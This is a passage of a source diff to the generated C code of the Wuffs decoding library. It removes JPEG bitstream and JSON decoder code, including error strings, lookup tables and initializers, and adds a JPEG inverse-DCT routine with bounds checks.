uint8_t *o_0_io0_v_r = io0_v_r; +- const uint8_t *o_0_io1_v_r = io1_v_r; +- const uint8_t *o_0_io2_v_r = io2_v_r; +- v_r = wuffs_base__io_reader__set( +- &u_r, +- &iop_v_r, +- &io0_v_r, +- &io1_v_r, +- &io2_v_r, +- wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, +- self->private_impl.f_bitstream_ri, +- self->private_impl.f_bitstream_wi), +- ((uint64_t)(self->private_impl.f_bitstream_ri))); +- do { +- while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { +- v_ret = 1u; +- goto label__goto_done__break; +- } +- do { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { +- v_ret = 2u; +- goto label__goto_done__break; +- } +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- if ((v_bits >> 63u) != 0u) { +- self->private_data.f_mcu_blocks[self->private_impl.f_mcu_current_block][0u] |= v_one_lshift_scan_al; +- } +- v_bits <<= 1u; +- v_n_bits -= 1u; +- } while (0); +- self->private_impl.f_mcu_current_block += 1u; +- } +- self->private_impl.f_mcu_current_block = 0u; +- } while (0); +- label__goto_done__break:; +- v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); +- if (v_pos > self->private_impl.f_bitstream_wi) { +- v_ret = 2u; +- } else { +- self->private_impl.f_bitstream_ri = v_pos; ++ if (0u == (v_intermediate[9u] | ++ v_intermediate[10u] | ++ v_intermediate[11u] | ++ v_intermediate[12u] | ++ v_intermediate[13u] | ++ v_intermediate[14u] | ++ v_intermediate[15u])) { ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); + } +- v_r = o_0_v_r; +- iop_v_r = o_0_iop_v_r; +- io0_v_r = o_0_io0_v_r; +- io1_v_r = o_0_io1_v_r; +- io2_v_r = o_0_io2_v_r; +- } +- self->private_impl.f_bitstream_bits = v_bits; +- self->private_impl.f_bitstream_n_bits = v_n_bits; +- return v_ret; +-} +- +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JPEG) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JSON) +- +-// ---------------- Status Codes Implementations +- +-const char wuffs_json__error__bad_c0_control_code[] = "#json: bad C0 control code"; +-const char wuffs_json__error__bad_utf_8[] = "#json: bad UTF-8"; +-const char wuffs_json__error__bad_backslash_escape[] = "#json: bad backslash-escape"; +-const char wuffs_json__error__bad_input[] = "#json: bad input"; +-const char wuffs_json__error__bad_new_line_in_a_string[] = "#json: bad new-line in a string"; +-const char wuffs_json__error__bad_quirk_combination[] = "#json: bad quirk combination"; +-const char wuffs_json__error__unsupported_number_length[] = "#json: unsupported number length"; +-const char wuffs_json__error__unsupported_recursion_depth[] = "#json: unsupported recursion depth"; +-const char wuffs_json__error__internal_error_inconsistent_i_o[] = "#json: internal error: inconsistent I/O"; +- +-// ---------------- Private Consts +- +-#define WUFFS_JSON__DECODER_NUMBER_LENGTH_MAX_INCL 99 +- +-static const uint8_t +-WUFFS_JSON__LUT_BACKSLASHES[256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 3, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 162, 0, 0, 0, 0, 5, +- 0, 0, 0, 0, 0, 0, 0, 175, +- 7, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 4, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 220, 0, 0, 0, +- 0, 1, 136, 0, 0, 2, 140, 0, +- 0, 0, 0, 0, 0, 0, 138, 0, +- 0, 0, 141, 0, 137, 0, 6, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +-}; +- +-static const uint8_t +-WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_QUIRKS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 1, 3, 4, 5, 6, 7, 10, +-}; +- +-static const uint8_t +-WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_CHARS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 7, 27, 10, 63, 39, 11, 0, +-}; +- +-static const uint8_t +-WUFFS_JSON__LUT_CHARS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 128, 129, 130, 131, 132, 133, 134, 135, +- 136, 137, 138, 139, 140, 141, 142, 143, +- 144, 145, 146, 147, 148, 149, 150, 151, +- 152, 153, 154, 155, 156, 157, 158, 159, +- 0, 0, 1, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 2, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 16, 16, 16, 16, 16, 16, 16, 16, +- 16, 16, 16, 16, 16, 16, 16, 16, +- 16, 16, 16, 16, 16, 16, 16, 16, +- 16, 16, 16, 16, 16, 16, 16, 16, +- 16, 16, 16, 16, 16, 16, 16, 16, +- 16, 16, 16, 16, 16, 16, 16, 16, +- 16, 16, 16, 16, 16, 16, 16, 16, +- 16, 16, 16, 16, 16, 16, 16, 16, +- 32, 32, 3, 3, 3, 3, 3, 3, +- 3, 3, 3, 3, 3, 3, 3, 3, +- 3, 3, 3, 3, 3, 3, 3, 3, +- 3, 3, 3, 3, 3, 3, 3, 3, +- 4, 4, 4, 4, 4, 4, 4, 4, +- 4, 4, 4, 4, 4, 4, 4, 4, +- 5, 5, 5, 5, 5, 32, 32, 32, +- 32, 32, 32, 32, 32, 32, 32, 32, +-}; +- +-#define WUFFS_JSON__CLASS_WHITESPACE 0 +- +-#define WUFFS_JSON__CLASS_STRING 1 +- +-#define WUFFS_JSON__CLASS_COMMA 2 +- +-#define WUFFS_JSON__CLASS_COLON 3 +- +-#define WUFFS_JSON__CLASS_NUMBER 4 +- +-#define WUFFS_JSON__CLASS_OPEN_CURLY_BRACE 5 +- +-#define WUFFS_JSON__CLASS_CLOSE_CURLY_BRACE 6 +- +-#define WUFFS_JSON__CLASS_OPEN_SQUARE_BRACKET 7 +- +-#define WUFFS_JSON__CLASS_CLOSE_SQUARE_BRACKET 8 +- +-#define WUFFS_JSON__CLASS_FALSE 9 +- +-#define WUFFS_JSON__CLASS_TRUE 10 +- +-#define WUFFS_JSON__CLASS_NULL_NAN_INF 11 +- +-#define WUFFS_JSON__CLASS_COMMENT 12 +- +-#define WUFFS_JSON__EXPECT_VALUE 7858 +- +-#define WUFFS_JSON__EXPECT_NON_STRING_VALUE 7856 +- +-#define WUFFS_JSON__EXPECT_STRING 4098 +- +-#define WUFFS_JSON__EXPECT_COMMA 4100 +- +-#define WUFFS_JSON__EXPECT_COLON 4104 +- +-#define WUFFS_JSON__EXPECT_NUMBER 4112 +- +-#define WUFFS_JSON__EXPECT_CLOSE_CURLY_BRACE 4160 +- +-#define WUFFS_JSON__EXPECT_CLOSE_SQUARE_BRACKET 4352 +- +-static const uint8_t +-WUFFS_JSON__LUT_CLASSES[256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 0, 0, 15, 15, 0, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 0, 15, 1, 15, 15, 15, 15, 15, +- 15, 15, 15, 11, 2, 4, 15, 12, +- 4, 4, 4, 4, 4, 4, 4, 4, +- 4, 4, 3, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 11, 15, 15, 15, 15, 11, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 7, 15, 8, 15, 15, +- 15, 15, 15, 15, 15, 15, 9, 15, +- 15, 11, 15, 15, 15, 15, 11, 15, +- 15, 15, 15, 15, 10, 15, 15, 15, +- 15, 15, 15, 5, 15, 6, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +- 15, 15, 15, 15, 15, 15, 15, 15, +-}; +- +-static const uint8_t +-WUFFS_JSON__LUT_DECIMAL_DIGITS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 128, 129, 130, 131, 132, 133, 134, 135, +- 136, 137, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +-}; +- +-static const uint8_t +-WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 128, 129, 130, 131, 132, 133, 134, 135, +- 136, 137, 0, 0, 0, 0, 0, 0, +- 0, 138, 139, 140, 141, 142, 143, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 138, 139, 140, 141, 142, 143, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +- 0, 0, 0, 0, 0, 0, 0, 0, +-}; +- +-#define WUFFS_JSON__QUIRKS_BASE 1225364480 +- +-#define WUFFS_JSON__QUIRKS_COUNT 21 +- +-// ---------------- Private Initializer Prototypes +- +-// ---------------- Private Function Prototypes +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_json__decoder__decode_number( +- wuffs_json__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_json__decoder__decode_digits( +- wuffs_json__decoder* self, +- wuffs_base__io_buffer* a_src, +- uint32_t a_n); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_json__decoder__decode_leading( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_json__decoder__decode_comment( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_json__decoder__decode_inf_nan( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_json__decoder__decode_trailer( +- wuffs_json__decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src); +- +-// ---------------- VTables +- +-const wuffs_base__token_decoder__func_ptrs +-wuffs_json__decoder__func_ptrs_for__wuffs_base__token_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__token_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__slice_u8))(&wuffs_json__decoder__decode_tokens), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_json__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_json__decoder__history_retain_length), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_json__decoder__set_quirk), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_json__decoder__workbuf_len), +-}; +- +-// ---------------- Initializer Implementations +- +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_json__decoder__initialize( +- wuffs_json__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[8u] + 16u)) >> 5u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ } else { ++ v_in2 = v_intermediate[10u]; ++ v_in6 = v_intermediate[14u]; ++ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); ++ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); ++ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); ++ v_in0 = v_intermediate[8u]; ++ v_in4 = v_intermediate[12u]; ++ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); ++ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); ++ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); ++ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); ++ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); ++ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); ++ v_in1 = v_intermediate[9u]; ++ v_in3 = v_intermediate[11u]; ++ v_in5 = v_intermediate[13u]; ++ v_in7 = v_intermediate[15u]; ++ v_ri51 = ((uint32_t)(v_in5 + v_in1)); ++ v_ri53 = ((uint32_t)(v_in5 + v_in3)); ++ v_ri71 = ((uint32_t)(v_in7 + v_in1)); ++ v_ri73 = ((uint32_t)(v_in7 + v_in3)); ++ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); ++ v_rk1 = ((uint32_t)(v_in1 * 12299u)); ++ v_rk3 = ((uint32_t)(v_in3 * 25172u)); ++ v_rk5 = ((uint32_t)(v_in5 * 16819u)); ++ v_rk7 = ((uint32_t)(v_in7 * 2446u)); ++ v_ri51 *= 4294964100u; ++ v_ri53 *= 4294946301u; ++ v_ri71 *= 4294959923u; ++ v_ri73 *= 4294951227u; ++ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); ++ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); ++ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); ++ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); ++ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); ++ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); + } +- +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ if (0u == (v_intermediate[17u] | ++ v_intermediate[18u] | ++ v_intermediate[19u] | ++ v_intermediate[20u] | ++ v_intermediate[21u] | ++ v_intermediate[22u] | ++ v_intermediate[23u])) { ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); + } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[16u] + 16u)) >> 5u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); + } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ v_in2 = v_intermediate[18u]; ++ v_in6 = v_intermediate[22u]; ++ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); ++ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); ++ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); ++ v_in0 = v_intermediate[16u]; ++ v_in4 = v_intermediate[20u]; ++ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); ++ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); ++ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); ++ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); ++ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); ++ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); ++ v_in1 = v_intermediate[17u]; ++ v_in3 = v_intermediate[19u]; ++ v_in5 = v_intermediate[21u]; ++ v_in7 = v_intermediate[23u]; ++ v_ri51 = ((uint32_t)(v_in5 + v_in1)); ++ v_ri53 = ((uint32_t)(v_in5 + v_in3)); ++ v_ri71 = ((uint32_t)(v_in7 + v_in1)); ++ v_ri73 = ((uint32_t)(v_in7 + v_in3)); ++ v_rj = ((uint32_t)(((uint32_t)(v_ri73 + v_ri51)) * 9633u)); ++ v_rk1 = ((uint32_t)(v_in1 * 12299u)); ++ v_rk3 = ((uint32_t)(v_in3 * 25172u)); ++ v_rk5 = ((uint32_t)(v_in5 * 16819u)); ++ v_rk7 = ((uint32_t)(v_in7 * 2446u)); ++ v_ri51 *= 4294964100u; ++ v_ri53 *= 4294946301u; ++ v_ri71 *= 4294959923u; ++ v_ri73 *= 4294951227u; ++ v_rl51 = ((uint32_t)(v_ri51 + v_rj)); ++ v_rl73 = ((uint32_t)(v_ri73 + v_rj)); ++ v_rk1 += ((uint32_t)(v_ri71 + v_rl51)); ++ v_rk3 += ((uint32_t)(v_ri53 + v_rl73)); ++ v_rk5 += ((uint32_t)(v_ri53 + v_rl51)); ++ v_rk7 += ((uint32_t)(v_ri71 + v_rl73)); ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); + } ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 + v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[7u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd0 - v_rk1)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 + v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[6u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd1 - v_rk3)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[2u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 + v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[5u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd2 - v_rk5)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[3u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 + v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer.ptr[4u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(((uint32_t)(v_rd3 - v_rk7)) + 131072u)) >> 18u) & 1023u)]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); + } +- +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__token_decoder.vtable_name = +- wuffs_base__token_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__token_decoder.function_pointers = +- (const void*)(&wuffs_json__decoder__func_ptrs_for__wuffs_base__token_decoder); +- return wuffs_base__make_status(NULL); +-} +- +-wuffs_json__decoder* +-wuffs_json__decoder__alloc(void) { +- wuffs_json__decoder* x = +- (wuffs_json__decoder*)(calloc(sizeof(wuffs_json__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_json__decoder__initialize( +- x, sizeof(wuffs_json__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; +- } +- return x; +-} +- +-size_t +-sizeof__wuffs_json__decoder(void) { +- return sizeof(wuffs_json__decoder); +-} +- +-// ---------------- Function Implementations +- +-// -------- func json.decoder.get_quirk +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_json__decoder__get_quirk( +- const wuffs_json__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- uint32_t v_key = 0; +- +- if (a_key >= 1225364480u) { +- v_key = (a_key - 1225364480u); +- if (v_key < 21u) { +- if (self->private_impl.f_quirks[v_key]) { +- return 1u; +- } ++ if (0u == (v_intermediate[25u] | ++ v_intermediate[26u] | ++ v_intermediate[27u] | ++ v_intermediate[28u] | ++ v_intermediate[29u] | ++ v_intermediate[30u] | ++ v_intermediate[31u])) { ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); + } +- } +- return 0u; +-} +- +-// -------- func json.decoder.set_quirk +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_json__decoder__set_quirk( +- wuffs_json__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error 